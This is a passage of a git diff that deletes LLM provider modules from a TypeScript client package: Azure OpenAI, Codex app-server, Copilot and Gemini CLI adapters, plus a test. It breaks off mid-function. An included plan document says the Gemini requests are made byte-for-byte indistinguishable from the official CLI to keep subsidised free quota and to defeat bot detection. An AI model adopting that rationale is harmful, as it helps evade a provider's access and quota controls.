AssistantMessageEventStream(); - - // Start async processing - (async () => { - const deploymentName = resolveDeploymentName(model, options); - const output = buildInitialOutput(model); - - try { - // Create Azure OpenAI client - const apiKey = options?.apiKey || getEnvApiKey(model.provider) || ""; - const client = await createClient(model, apiKey, options); - let params = buildParams(model, context, options, deploymentName); - const nextParams = await options?.onPayload?.(params, model); - if (nextParams !== undefined) { - params = nextParams as ResponseCreateParamsStreaming; - } - const openaiStream = await client.responses.create( - params, - options?.signal ? { signal: options.signal } : undefined, - ); - stream.push({ type: "start", partial: output }); - - await processResponsesStream(openaiStream, output, stream, model); - - assertStreamSuccess(output, options?.signal); - finalizeStream(stream, output); - } catch (error) { - handleStreamError(stream, output, error, options?.signal); - } - })(); - - return stream; -}; - -export const streamSimpleAzureOpenAIResponses: StreamFunction< - "azure-openai-responses", - SimpleStreamOptions -> = ( - model: Model<"azure-openai-responses">, - context: Context, - options?: SimpleStreamOptions, -): AssistantMessageEventStream => { - const apiKey = options?.apiKey || getEnvApiKey(model.provider); - if (!apiKey) { - throw new Error(`No API key for provider: ${model.provider}`); - } - - const base = buildBaseOptions(model, options, apiKey); - const effectiveReasoning = resolveReasoningLevel(model, options?.reasoning); - const reasoningEffort = supportsXhigh(model) - ? effectiveReasoning - : clampReasoning(effectiveReasoning); - - return streamAzureOpenAIResponses(model, context, { - ...base, - reasoningEffort, - } satisfies AzureOpenAIResponsesOptions); -}; - -function normalizeAzureBaseUrl(baseUrl: string): string { - return baseUrl.replace(/\/+$/, ""); -} - -function buildDefaultBaseUrl(resourceName: string): string { - return `https://${resourceName}.openai.azure.com/openai/v1`; -} - -function isCognitiveServicesDomain(url: string): boolean { - try { - const hostname = new URL(url).hostname; - return hostname.endsWith(".cognitiveservices.azure.com"); - } catch { - return false; - } -} - -function normalizeCognitiveServicesUrl(url: string): string { - // Azure Cognitive Services endpoints use /openai/deployments/{deployment}/chat/completions - // We need to normalize to the OpenAI-compatible base path - if (url.includes("/openai/deployments/")) { - return url.split("/openai/deployments/")[0]!; - } - return url; -} - -function resolveAzureConfig( - model: Model<"azure-openai-responses">, - options?: AzureOpenAIResponsesOptions, -): { baseUrl: string; apiVersion: string } { - const apiVersion = - options?.azureApiVersion || - process.env.AZURE_OPENAI_API_VERSION || - DEFAULT_AZURE_API_VERSION; - - const baseUrl = - options?.azureBaseUrl?.trim() || - process.env.AZURE_OPENAI_BASE_URL?.trim() || - undefined; - const resourceName = - options?.azureResourceName || process.env.AZURE_OPENAI_RESOURCE_NAME; - - let resolvedBaseUrl = baseUrl; - - if (!resolvedBaseUrl && resourceName) { - resolvedBaseUrl = buildDefaultBaseUrl(resourceName); - } - - if (!resolvedBaseUrl && model.baseUrl) { - resolvedBaseUrl = model.baseUrl; - } - - if (!resolvedBaseUrl) { - throw new Error( - "Azure OpenAI base URL is required. Set AZURE_OPENAI_BASE_URL or AZURE_OPENAI_RESOURCE_NAME, or pass azureBaseUrl, azureResourceName, or model.baseUrl.", - ); - } - - // Normalize Cognitive Services endpoints (e.g., .cognitiveservices.azure.com) - if (isCognitiveServicesDomain(resolvedBaseUrl)) { - resolvedBaseUrl = normalizeCognitiveServicesUrl(resolvedBaseUrl); - } - - return { - baseUrl: normalizeAzureBaseUrl(resolvedBaseUrl), - apiVersion, - }; -} - -async function createClient( - model: Model<"azure-openai-responses">, - apiKey: string, - options?: AzureOpenAIResponsesOptions, -) { - if (!apiKey) { - if (!process.env.AZURE_OPENAI_API_KEY) { - throw new Error( - "Azure OpenAI API key is required. Set AZURE_OPENAI_API_KEY environment variable or pass it as an argument.", - ); - } - apiKey = process.env.AZURE_OPENAI_API_KEY; - } - - const headers = { ...model.headers }; - - if (options?.headers) { - Object.assign(headers, options.headers); - } - - const { baseUrl, apiVersion } = resolveAzureConfig(model, options); - const AzureOpenAIClass = await getAzureOpenAIClass(); - - return new AzureOpenAIClass({ - apiKey, - apiVersion, - dangerouslyAllowBrowser: true, - defaultHeaders: headers, - baseURL: baseUrl, - }); -} - -function buildParams( - model: Model<"azure-openai-responses">, - context: Context, - options: AzureOpenAIResponsesOptions | undefined, - deploymentName: string, -) { - const messages = convertResponsesMessages( - model, - context, - AZURE_TOOL_CALL_PROVIDERS, - ); - - const params: ResponseCreateParamsStreaming = { - model: deploymentName, - input: messages, - stream: true, - prompt_cache_key: options?.sessionId, - }; - - if (options?.maxTokens) { - params.max_output_tokens = options?.maxTokens; - } - - if (options?.temperature !== undefined) { - params.temperature = options?.temperature; - } - - if (context.tools && context.tools.length > 0) { - params.tools = convertResponsesTools(context.tools); - } - - if (model.reasoning) { - if (options?.reasoningEffort || options?.reasoningSummary) { - const effort = clampReasoningForModel( - model.name, - options?.reasoningEffort || "medium", - ) as typeof options.reasoningEffort; - params.reasoning = { - effort: effort || "medium", - summary: options?.reasoningSummary || "auto", - }; - params.include = ["reasoning.encrypted_content"]; - } else { - if (model.name.toLowerCase().startsWith("gpt-5")) { - // Jesus Christ, see https://community.openai.com/t/need-reasoning-false-option-for-gpt-5/1351588/7 - messages.push({ - role: "developer", - content: [ - { - type: "input_text", - text: "# Juice: 0 !important", - }, - ], - }); - } - } - } - - return params; -} diff --git a/packages/pi-ai/src/providers/codex-app-server-client.ts b/packages/pi-ai/src/providers/codex-app-server-client.ts deleted file mode 100644 index 0dd7b240a..000000000 --- a/packages/pi-ai/src/providers/codex-app-server-client.ts +++ /dev/null @@ -1,429 +0,0 @@ -import type { ChildProcessWithoutNullStreams } from "node:child_process"; -import type * as NodeReadline from "node:readline"; - -type DynamicImport = (specifier: string) => Promise; - -const dynamicImport: DynamicImport = (specifier) => import(specifier); -const NODE_CHILD_PROCESS_SPECIFIER = "node:" + "child_process"; -const NODE_READLINE_SPECIFIER = "node:" + "readline"; - -type RequestId = number; -type JsonObject = Record; - -interface JsonRpcError { - code: number; - message: string; - data?: unknown; -} - -interface JsonRpcResponse { - id: RequestId; - result?: unknown; - error?: JsonRpcError; -} - -interface JsonRpcNotification { - method: string; - params?: unknown; -} - -interface JsonRpcServerRequest extends JsonRpcNotification { - id: RequestId; -} - -interface PendingRequest { - resolve: (value: unknown) => void; - reject: (reason: Error) => void; -} - -export interface CodexAppServerClientOptions { - cwd?: string; - env?: NodeJS.ProcessEnv; - extraArgs?: string[]; - clientInfo?: { - name: string; - title: string; - version: string; - }; -} - -export type CodexAppServerNotification = JsonRpcNotification; - -export type CodexAppServerNotificationHandler = ( - notification: CodexAppServerNotification, -) => void; - -const DEFAULT_CLIENT_INFO = { - name: "singularity_forge_pi_ai", - title: "Singularity Forge pi-ai", - version: "0.0.0", -}; - -let sharedClientPromise: Promise | undefined; - -/** - * Return the session-wide Codex app-server client. Spawns `codex app-server` lazily and reuses it. - * - * Purpose: delegate ChatGPT auth and protocol drift to the installed Codex CLI while keeping pi-ai provider calls cheap. - * Consumer: openai-codex-responses.ts for every OpenAI Codex provider stream. - */ -export function getCodexAppServerClient( - options?: CodexAppServerClientOptions, -): Promise { - if (!sharedClientPromise) { - sharedClientPromise = CodexAppServerClient.connect(options); - } - return sharedClientPromise; -} - -/** - * Reset the session-wide Codex app-server client after the child process exits or is disposed. - * - * Purpose: allow the next provider call to recover from a crashed or deliberately closed Codex process. - * Consumer: CodexAppServerClient lifecycle handlers in this module. - */ -export function clearCodexAppServerClient(client: CodexAppServerClient): void { - if (sharedClientPromise) { - sharedClientPromise.then( - (current) => { - if (current === client) sharedClientPromise = undefined; - }, - () => { - sharedClientPromise = undefined; - }, - ); - } -} - -/** - * JSON-RPC client for a stdio `codex app-server` child process. - * - * Purpose: provide a small dependency-free transport that matches Codex's newline-delimited JSON protocol. - * Consumer: getCodexAppServerClient and the OpenAI Codex provider adapter. - */ -export class CodexAppServerClient { - private proc: ChildProcessWithoutNullStreams | undefined; - private readline: NodeReadline.Interface | undefined; - private nextId = 1; - private stderr = ""; - private closed = false; - private exitError: Error | undefined; - private readonly pending = new Map(); - private readonly notificationHandlers = - new Set(); - - private constructor(private readonly options: CodexAppServerClientOptions) {} - - /** - * Spawn and initialize a Codex app-server process. - * - * Purpose: complete Codex's required initialize/initialized handshake before any thread or turn RPC. - * Consumer: getCodexAppServerClient when creating the shared process. - */ - static async connect( - options: CodexAppServerClientOptions = {}, - ): Promise { - const client = new CodexAppServerClient(options); - await client.initialize(); - return client; - } - - /** - * Register a notification callback and return an unsubscribe function. - * - * Purpose: let provider streams observe only their own thread/turn notifications without owning the transport. - * Consumer: streamOpenAICodexResponses while a turn is active. - */ - onNotification(handler: CodexAppServerNotificationHandler): () => void { - this.notificationHandlers.add(handler); - return () => { - this.notificationHandlers.delete(handler); - }; - } - - /** - * Send a JSON-RPC request and resolve with the response result. - * - * Purpose: provide typed call sites for app-server methods while centralizing response/error handling. - * Consumer: provider setup, turn start, context injection, and cancellation paths. - */ - request( - method: string, - params?: unknown, - signal?: AbortSignal, - ): Promise { - if (this.closed) { - return Promise.reject( - this.exitError ?? new Error("codex app-server is closed."), - ); - } - if (signal?.aborted) { - return Promise.reject(new Error("Request was aborted")); - } - - const id = this.nextId++; - const message = - params === undefined ? { id, method } : { id, method, params }; - - return new Promise((resolve, reject) => { - const abort = () => { - this.pending.delete(id); - reject(new Error("Request was aborted")); - }; - - this.pending.set(id, { - resolve: (value) => { - signal?.removeEventListener("abort", abort); - resolve(value); - }, - reject: (error) => { - signal?.removeEventListener("abort", abort); - reject(error); - }, - }); - - signal?.addEventListener("abort", abort, { once: true }); - - this.send(message).catch((error: unknown) => { - this.pending.delete(id); - signal?.removeEventListener("abort", abort); - reject(error instanceof Error ? error : new Error(String(error))); - }); - }); - } - - /** - * Send a JSON-RPC notification. - * - * Purpose: acknowledge initialization and support fire-and-forget app-server protocol calls. - * Consumer: initialize() for the required `initialized` notification. - */ - async notify(method: string, params?: unknown): Promise { - const message = params === undefined ? { method } : { method, params }; - await this.send(message); - } - - /** - * Interrupt an active Codex turn. - * - * Purpose: translate an AbortSignal into Codex's cooperative turn cancellation RPC. - * Consumer: openai-codex-responses.ts abort handling. - */ - async interruptTurn(threadId: string, turnId: string): Promise { - await this.request("turn/interrupt", { threadId, turnId }); - } - - /** - * Dispose the child process and reject pending requests. - * - * Purpose: release the long-running Codex process when the owning session is shutting down. - * Consumer: tests, future host lifecycle hooks, and crash recovery. - */ - async dispose(): Promise { - if (this.closed) return; - this.closed = true; - clearCodexAppServerClient(this); - this.readline?.close(); - if (this.proc && !this.proc.killed) { - this.proc.kill("SIGTERM"); - } - this.rejectPending(new Error("codex app-server was disposed.")); - } - - /** - * Dispose the client if it has no pending requests and no active notification - * handlers. The check is deferred by one event-loop turn so a consumer that is - * about to register a new handler wins the race. - * - * Purpose: allow short-lived processes (smoke tests, one-shot scripts) to exit - * cleanly without leaking the codex app-server child process, while keeping the - * client alive across back-to-back turns in a long-running session. - */ - releaseIfIdle(): Promise { - return new Promise((resolve) => { - setImmediate(() => { - if ( - this.closed || - this.pending.size > 0 || - this.notificationHandlers.size > 0 - ) { - resolve(); - return; - } - this.dispose().then( - () => resolve(), - () => resolve(), - ); - }); - }); - } - - private async initialize(): Promise { - const childProcessModule = (await dynamicImport( - NODE_CHILD_PROCESS_SPECIFIER, - )) as typeof import("node:child_process"); - const readlineModule = (await dynamicImport( - NODE_READLINE_SPECIFIER, - )) as typeof import("node:readline"); - const args = [ - "app-server", - "--listen", - "stdio://", - ...(this.options.extraArgs ?? []), - ]; - - try { - this.proc = childProcessModule.spawn("codex", args, { - cwd: this.options.cwd ?? process.cwd(), - env: this.options.env ?? process.env, - stdio: ["pipe", "pipe", "pipe"], - shell: process.platform === "win32", - windowsHide: true, - }); - } catch (error) { - throw this.toSpawnError(error); - } - - this.proc.stdout.setEncoding("utf8"); - this.proc.stderr.setEncoding("utf8"); - this.proc.stderr.on("data", (chunk: string) => { - this.stderr = (this.stderr + chunk).slice(-12000); - }); - this.proc.on("error", (error) => { - this.handleExit(this.toSpawnError(error)); - }); - this.proc.on("exit", (code, signal) => { - if (this.closed) return; - const detail = signal ? `signal ${signal}` : `exit ${code ?? "unknown"}`; - this.handleExit( - new Error( - `codex app-server exited unexpectedly (${detail}).${this.stderrSuffix()}`, - ), - ); - }); - - this.readline = readlineModule.createInterface({ input: this.proc.stdout }); - this.readline.on("line", (line) => this.handleLine(line)); - - await this.request("initialize", { - clientInfo: this.options.clientInfo ?? DEFAULT_CLIENT_INFO, - capabilities: { experimentalApi: true }, - }); - await this.notify("initialized"); - } - - private async send(message: JsonObject): Promise { - if (!this.proc?.stdin || this.closed) { - throw ( - this.exitError ?? new Error("codex app-server stdin is not available.") - ); - } - const line = `${JSON.stringify(message)}\n`; - if (this.proc.stdin.write(line)) return; - await new Promise((resolve, reject) => { - const stdin = this.proc?.stdin; - if (!stdin) { - reject(new Error("codex app-server stdin is not available.")); - return; - } - const onDrain = () => { - cleanup(); - resolve(); - }; - const onError = (error: Error) => { - cleanup(); - reject(error); - }; - const cleanup = () => { - stdin.off("drain", onDrain); - stdin.off("error", onError); - }; - stdin.once("drain", onDrain); - stdin.once("error", onError); - }); - } - - private handleLine(line: string): void { - let message: unknown; - try { - message = JSON.parse(line); - } catch { - return; - } - if (!message || typeof message !== "object") return; - const object = message as JsonObject; - - if (typeof object.id === "number" && !("method" in object)) { - this.handleResponse(object as unknown as JsonRpcResponse); - return; - } - if (typeof object.method === "string" && typeof object.id === "number") { - this.handleServerRequest(object as unknown as JsonRpcServerRequest); - return; - } - if (typeof object.method === "string") { - this.handleNotification({ method: object.method, params: object.params }); - } - } - - private handleResponse(response: JsonRpcResponse): void { - const pending = this.pending.get(response.id); - if (!pending) return; - this.pending.delete(response.id); - if (response.error) { - pending.reject( - new Error(`${response.error.message} (code ${response.error.code})`), - ); - return; - } - pending.resolve(response.result); - } - - private handleNotification(notification: CodexAppServerNotification): void { - for (const handler of this.notificationHandlers) { - handler(notification); - } - } - - private handleServerRequest(request: JsonRpcServerRequest): void { - this.send({ - id: request.id, - error: { - code: -32601, - message: `Unsupported codex app-server request: ${request.method}`, - }, - }).catch(() => {}); - } - - private handleExit(error?: Error): void { - if (this.closed && !error) return; - this.closed = true; - this.exitError = error ?? new Error("codex app-server connection closed."); - clearCodexAppServerClient(this); - this.readline?.close(); - this.rejectPending(this.exitError); - } - - private rejectPending(error: Error): void { - for (const pending of this.pending.values()) { - pending.reject(error); - } - this.pending.clear(); - } - - private toSpawnError(error: unknown): Error { - const err = error instanceof Error ? error : new Error(String(error)); - const nodeError = err as Error & { code?: string }; - if (nodeError.code === "ENOENT") { - return new Error( - "Codex CLI was not found. Install the OpenAI Codex CLI and make sure `codex` is on PATH, then run `codex login` if needed.", - ); - } - return err; - } - - private stderrSuffix(): string { - const trimmed = this.stderr.trim(); - return trimmed ? ` stderr: ${trimmed}` : ""; - } -} diff --git a/packages/pi-ai/src/providers/github-copilot-headers.ts b/packages/pi-ai/src/providers/github-copilot-headers.ts deleted file mode 100644 index a009f88e7..000000000 --- a/packages/pi-ai/src/providers/github-copilot-headers.ts +++ /dev/null @@ -1,37 +0,0 @@ -import type { Message } from "../types.js"; - -// Copilot expects X-Initiator to indicate whether the request is user-initiated -// or agent-initiated (e.g. follow-up after assistant/tool messages). -function inferCopilotInitiator(messages: Message[]): "user" | "agent" { - const last = messages[messages.length - 1]; - return last && last.role !== "user" ? "agent" : "user"; -} - -// Copilot requires Copilot-Vision-Request header when sending images -export function hasCopilotVisionInput(messages: Message[]): boolean { - return messages.some((msg) => { - if (msg.role === "user" && Array.isArray(msg.content)) { - return msg.content.some((c) => c.type === "image"); - } - if (msg.role === "toolResult" && Array.isArray(msg.content)) { - return msg.content.some((c) => c.type === "image"); - } - return false; - }); -} - -export function buildCopilotDynamicHeaders(params: { - messages: Message[]; - hasImages: boolean; -}): Record { - const headers: Record = { - "X-Initiator": inferCopilotInitiator(params.messages), - "Openai-Intent": "conversation-edits", - }; - - if (params.hasImages) { - headers["Copilot-Vision-Request"] = "true"; - } - - return headers; -} diff --git a/packages/pi-ai/src/providers/google-gemini-cli-core-plan.md b/packages/pi-ai/src/providers/google-gemini-cli-core-plan.md deleted file mode 100644 index ce5ee6242..000000000 --- a/packages/pi-ai/src/providers/google-gemini-cli-core-plan.md +++ /dev/null @@ -1,133 +0,0 @@ -# Re-platforming `google-gemini-cli` onto `@google/gemini-cli-core` - -**Status:** Dependency installed (2026-04-19). Refactor pending next iteration. - -## Goal - -Replace the handwritten `fetch()` transport in `google-gemini-cli.ts` with calls -into `@google/gemini-cli-core`'s `CodeAssistServer` so requests to -`cloudcode-pa.googleapis.com` are byte-for-byte indistinguishable from the -official `gemini` CLI. Upside: free OAuth quota treatment, automatic inheritance -of upstream improvements, no reverse-engineered User-Agent / Client-Metadata -drift. - -## Scope - -**In-scope** -- `provider: "google-gemini-cli"` stream paths in `google-gemini-cli.ts` - (functions `streamGoogleGeminiCli` and `streamSimpleGoogleGeminiCli`). - -**Out-of-scope (keep handwritten)** -- `provider: "google-antigravity"` — different sandbox endpoints - (`daily-cloudcode-pa.sandbox.googleapis.com`), different auth contract - (Antigravity IDE-scoped), different User-Agent requirements. cli-core - does not target these endpoints. -- `provider: "google"` (API key) and `provider: "google-vertex"` — unrelated - transports, stay on `@google/genai` directly. - -## API mapping (cli-core 0.38.2) - -| Today (handwritten) | After (cli-core) | -|------------------------------------------------------------|------------------------------------------------------------------------| -| `fetch(CLOUD_CODE_ASSIST_ENDPOINT + ":streamGenerateContent?alt=sse", …)` | `await server.generateContentStream(req, promptId, role)` returns `AsyncGenerator` | -| Manual SSE body parsing (`response.body.getReader()` + `TextDecoder`) | cli-core yields already-parsed `GenerateContentResponse` chunks | -| Custom retry loop (429/5xx with backoff, endpoint cascade) | cli-core has internal retry in `requestStreamingPost` | -| Header assembly (`User-Agent`, `X-Goog-Api-Client`, `Client-Metadata`) | cli-core sets its own correct headers; just pass `httpOptions.headers` for extras | -| OAuth token carried in SF `apiKey` as `{ token, projectId }` JSON | Either keep (build `OAuth2Client` + set credentials) OR let cli-core load from `~/.gemini/oauth_creds.json` via `getOauthClient()` | - -Relevant cli-core exports: - -```ts -import { CodeAssistServer, CODE_ASSIST_ENDPOINT, type HttpOptions } from "@google/gemini-cli-core"; -import { getOauthClient } from "@google/gemini-cli-core/dist/src/code_assist/oauth2.js"; -import { AuthType } from "@google/gemini-cli-core"; -import type { GenerateContentParameters, GenerateContentResponse } from "@google/genai"; -``` - -## Two integration strategies - -### Strategy A: Transport-only (incremental, lower risk) - -Keep SF's existing auth storage (`apiKey` JSON blob with `{ token, projectId }`). -At each request: - -```ts -import { OAuth2Client } from "google-auth-library"; -import { CodeAssistServer } from "@google/gemini-cli-core"; - -const authClient = new OAuth2Client(); -authClient.setCredentials({ access_token: token }); -const server = new CodeAssistServer(authClient, projectId, { - headers: { /* extras if any */ }, -}); - -for await (const chunk of await server.generateContentStream(req, promptId, "USER")) { - // feed chunk into existing AssistantMessageEventStream adapter -} -``` - -Pros: no SF auth-layer changes, minimal blast radius. -Cons: SF still does OAuth refresh manually; cli-core's auto-refresh benefit lost. - -### Strategy B: Full cli-core auth (target state) - -Drop the `apiKey` unpacking for `google-gemini-cli`. At provider init: - -```ts -const authClient = await getOauthClient(AuthType.LOGIN_WITH_GOOGLE, config); -const server = new CodeAssistServer(authClient, projectId); -``` - -cli-core reads `~/.gemini/oauth_creds.json` (migrated to keychain on newer -installs), refreshes tokens, writes back. SF's `/login` flow for this provider -becomes "let cli-core own the login flow" instead of reimplementing Google OAuth in SF. - -Pros: full integration benefit, SF drops ~80 lines of auth management. -Cons: breaks existing SF auth storage path for this provider; users must -re-authenticate via `gemini` CLI at least once. - -Recommendation: **A first** (one commit, verifiable), **B second** as a -follow-up once A is stable. - -## Implementation checklist (Strategy A) - -1. Add factory helper `buildCodeAssistServer(token, projectId)` that constructs - `OAuth2Client` + `CodeAssistServer`. Put it alongside the existing helpers - near the top of `google-gemini-cli.ts`. -2. In `streamGoogleGeminiCli` (line 320): branch on `model.provider`. When - `"google-gemini-cli"`, use the new helper and replace the `fetch()` block - (lines ~392-450) with `server.generateContentStream()` consumption. When - `"google-antigravity"`, keep the existing codepath unchanged. -3. Convert cli-core's `GenerateContentResponse` chunks to SSE-equivalent - processing via the existing `processStreamChunk` helper (or inline the - minimal equivalent — cli-core already parses the JSON). -4. Remove `GEMINI_CLI_HEADERS` constant (cli-core sets its own). -5. Keep `ANTIGRAVITY_*` constants for the antigravity path. -6. Update `streamSimpleGoogleGeminiCli` similarly. -7. Tests: - - Replace `global.fetch` mocks targeting `cloudcode-pa.googleapis.com` with - `CodeAssistServer` prototype mocks (`generateContentStream` returns a - mocked AsyncGenerator). - - Keep antigravity tests unchanged (still fetch-based). -8. Live smoke test against a `gemini-*` model in dr-repo or a scratch project, - confirm OAuth flow works, streaming response arrives, cost is reported. - -## Retry semantics - -cli-core's internal retry on `requestStreamingPost` handles 429/5xx with -exponential backoff and consults `Retry-After` headers. That subsumes the -existing `MAX_RETRIES` / `BASE_DELAY_MS` loop in SF for this provider. -Keep the loop for antigravity (different endpoint, different quirks). - -`extractRetryDelay` and `isRetryableError` helpers become antigravity-only. - -## Why this matters (recap) - -- **Free OAuth quota**: Google subsidises the official CLI's free tier. Our - requests blending in byte-for-byte preserves access. -- **Bot-detection resilience**: User-Agent / Client-Metadata drift risk goes - to zero — cli-core is the authoritative client. -- **Upstream improvements**: new tool formats, grounding, session caching, - quota displays ship via `npm update @google/gemini-cli-core`. -- **Our proxy becomes "the CLI, programmable"**: identical upstream behavior, - hookable local endpoint for any OpenAI-compatible tool. diff --git a/packages/pi-ai/src/providers/google-gemini-cli.test.ts b/packages/pi-ai/src/providers/google-gemini-cli.test.ts deleted file mode 100644 index 509ff1b3b..000000000 --- a/packages/pi-ai/src/providers/google-gemini-cli.test.ts +++ /dev/null @@ -1,83 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, test, vi } from "vitest"; -import type { Context, Model } from "../types.js"; - -const geminiCliCore = vi.hoisted(() => ({ - retryError: undefined as Error | undefined, - retryOptions: undefined as Record | undefined, - helperArgs: undefined as Record | undefined, -})); - -vi.mock("@google/gemini-cli-core", () => ({ - CodeAssistServer: class { - async generateContentStream(): Promise> { - return (async function* emptyStream() {})(); - } - }, - retryWithBackoff: vi.fn( - async (_fn: unknown, options: Record) => { - geminiCliCore.retryOptions = options; - throw geminiCliCore.retryError ?? new Error("quota exhausted"); - }, - ), -})); - -vi.mock("@singularity-forge/google-gemini-cli-provider", () => ({ - createGeminiCliContentGenerator: vi.fn( - async (args: Record) => { - geminiCliCore.helperArgs = args; - return { - async generateContentStream(): Promise> { - return (async function* emptyStream() {})(); - }, - }; - }, - ), -})); - -import { streamGoogleGeminiCli } from "./google-gemini-cli.js"; - -function makeModel(): Model<"google-gemini-cli"> { - return { - id: "gemini-3-flash-preview", - name: "Gemini 3 Flash Preview", - api: "google-gemini-cli", - provider: "google-gemini-cli", - baseUrl: "", - reasoning: true, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 1_000_000, - maxTokens: 8192, - }; -} - -function makeContext(): Context { - return { - messages: [{ role: "user", content: "hello", timestamp: 0 }], - }; -} - -describe("google-gemini-cli provider retry ownership", () => { - test("google_gemini_cli_when_quota_resets_soon_returns_error_to_caller_without_cli_retry_loop", async () => { - geminiCliCore.retryOptions = undefined; - geminiCliCore.retryError = Object.assign( - new Error( - "You have exhausted your capacity on this model. Your quota will reset after 54s.", - ), - { retryDelayMs: 54_000 }, - ); - - const stream = streamGoogleGeminiCli(makeModel(), makeContext()); - const result = await stream.result(); - - const retryOptions = geminiCliCore.retryOptions as - | { maxAttempts?: unknown } - | undefined; - assert.equal(retryOptions?.maxAttempts, 1); - assert.equal(geminiCliCore.helperArgs?.modelId, "gemini-3-flash-preview"); - assert.equal(result.stopReason, "error"); - assert.match(result.errorMessage ?? "", /exhausted your capacity/i); - assert.equal(result.retryAfterMs, 54_000); - }); -}); diff --git a/packages/pi-ai/src/providers/google-gemini-cli.ts b/packages/pi-ai/src/providers/google-gemini-cli.ts deleted file mode 100644 index f87e73bc1..000000000 --- a/packages/pi-ai/src/providers/google-gemini-cli.ts +++ /dev/null @@ -1,638 +0,0 @@ -/** - * Google Gemini CLI provider. - * - * Delegates auth, project discovery, and the Code Assist transport setup to - * the dedicated google-gemini-cli-provider package. - * Request retry/fallback stays in the caller so SF can move to the next model. - */ - -import { retryWithBackoff } from "@google/gemini-cli-core"; -import type { - Content, - GenerateContentParameters, - ThinkingConfig, -} from "@google/genai"; -import { calculateCost } from "../models.js"; -import type { - Api, - AssistantMessage, - Context, - Model, - SimpleStreamOptions, - StreamFunction, - StreamOptions, - TextContent, - ThinkingBudgets, - ThinkingContent, - ThinkingLevel, - ToolCall, -} from "../types.js"; -import { AssistantMessageEventStream } from "../utils/event-stream.js"; -import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; -import { - convertMessages, - convertTools, - isThinkingPart, - mapStopReasonString, - mapToolChoice, - retainThoughtSignature, -} from "./google-shared.js"; -import { - buildBaseOptions, - clampReasoning, - isAutoReasoning, - resolveReasoningLevel, -} from "./simple-options.js"; -import { createGeminiCliContentGenerator } from "@singularity-forge/google-gemini-cli-provider"; - -/** - * Thinking level for Gemini 3 models. - * - * Gemini 3 Pro supports LOW/HIGH; Gemini 3 Flash supports MINIMAL/LOW/MEDIUM/HIGH. - * These are the wire format values for `ThinkingConfig.thinkingLevel` sent to cli-core's - * `CodeAssistServer.generateContentStream()`. - */ -export type GoogleThinkingLevel = - | "THINKING_LEVEL_UNSPECIFIED" - | "MINIMAL" - | "LOW" - | "MEDIUM" - | "HIGH"; - -/** - * Options for `streamGoogleGeminiCli()`. - * - * Delegates auth to the helper package (reads ~/.gemini/oauth_creds.json via - * Gemini CLI Core's transport setup); - * `projectId` is auto-discovered and not used by this provider (apiKey is ignored). - * Thinking is configured separately from base `StreamOptions` because Gemini 2 and 3 - * models use incompatible enum formats (budgetTokens vs. level). - */ -export interface GoogleGeminiCliOptions extends StreamOptions { - toolChoice?: "auto" | "none" | "any"; - /** - * Thinking/reasoning configuration. - * - Gemini 2.x models: use `budgetTokens` to set the thinking budget - * - Gemini 3 models (gemini-3-pro-*, gemini-3-flash-*): use `level` instead - * - * When using `streamSimple`, this is handled automatically based on the model. - */ - thinking?: { - enabled: boolean; - /** Thinking budget in tokens. Use for Gemini 2.x models. */ - budgetTokens?: number; - /** Thinking level. Use for Gemini 3 models (LOW/HIGH for Pro, MINIMAL/LOW/MEDIUM/HIGH for Flash). */ - level?: GoogleThinkingLevel; - }; - projectId?: string; -} - -// Counter for generating unique tool call IDs -let toolCallCounter = 0; - -function parseDurationMs(value: string): number | undefined { - const match = value.match(/(?:(\d+)h)?(?:(\d+)m)?(?:(\d+)s)?/i); - if (!match || !match[0]) return undefined; - const hours = Number(match[1] ?? 0); - const minutes = Number(match[2] ?? 0); - const seconds = Number(match[3] ?? 0); - const totalMs = ((hours * 60 + minutes) * 60 + seconds) * 1000; - return totalMs > 0 ? totalMs : undefined; -} - -function extractRetryAfterMs(error: unknown): number | undefined { - if (typeof error === "object" && error !== null && "retryDelayMs" in error) { - const retryDelayMs = (error as { retryDelayMs?: unknown }).retryDelayMs; - if ( - typeof retryDelayMs === "number" && - Number.isFinite(retryDelayMs) && - retryDelayMs > 0 - ) { - return retryDelayMs; - } - } - const message = - error instanceof Error ? error.message : JSON.stringify(error); - const resetMatch = message.match( - /(?:quota will reset|reset) after ([0-9hms]+)/i, - ); - return resetMatch?.[1] ? parseDurationMs(resetMatch[1]) : undefined; -} - -/** - * Check if the model is a Gemini 3 Pro variant (gemini-3*-pro). - * Used to determine which thinking config enum to use (thinkingLevel vs. budgetTokens). - */ -function isGemini3ProModel(modelId: string): boolean { - return /gemini-3(?:\.1)?-pro/.test(modelId.toLowerCase()); -} - -/** - * Check if the model is a Gemini 3 Flash variant (gemini-3*-flash). - * Used to determine which thinking config enum to use (thinkingLevel vs. budgetTokens). - */ -function isGemini3FlashModel(modelId: string): boolean { - return /gemini-3(?:\.1)?-flash/.test(modelId.toLowerCase()); -} - -/** - * Check if the model is any Gemini 3 variant (Pro or Flash). - * Determines whether to use thinkingLevel enum (Gemini 3) vs. budgetTokens (Gemini 2.x). - */ -function isGemini3Model(modelId: string): boolean { - return isGemini3ProModel(modelId) || isGemini3FlashModel(modelId); -} - -/** - * Stream a chat completion from Google Gemini via the helper package and cli-core transport. - * - * The helper package owns the OAuth/bootstrap path against `@google/gemini-cli-core`, including - * `~/.gemini/oauth_creds.json` and Gemini Code Assist project discovery. `apiKey` is ignored. - * Casting the request as `any` works around the fact that cli-core bundles its own nested - * `@google/genai` copy (nominal type split at packaging time; runtime shapes are byte-identical). - * Returns a real-time stream emitting start, delta, end, and error events that accumulate into - * an `AssistantMessage`. - */ -export const streamGoogleGeminiCli: StreamFunction< - "google-gemini-cli", - GoogleGeminiCliOptions -> = ( - model: Model<"google-gemini-cli">, - context: Context, - options?: GoogleGeminiCliOptions, -): AssistantMessageEventStream => { - const stream = new AssistantMessageEventStream(); - - (async () => { - const output: AssistantMessage = { - role: "assistant", - content: [], - api: "google-gemini-cli" as Api, - provider: model.provider, - model: model.id, - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: Date.now(), - }; - - try { - let req = buildRequest(model, context, options); - const nextReq = await options?.onPayload?.(req, model); - if (nextReq !== undefined) { - req = nextReq as GenerateContentParameters; - } - // cli-core handles auth + project discovery through the helper package. - const server = await createGeminiCliContentGenerator({ - modelId: req.model, - }); - const promptId = 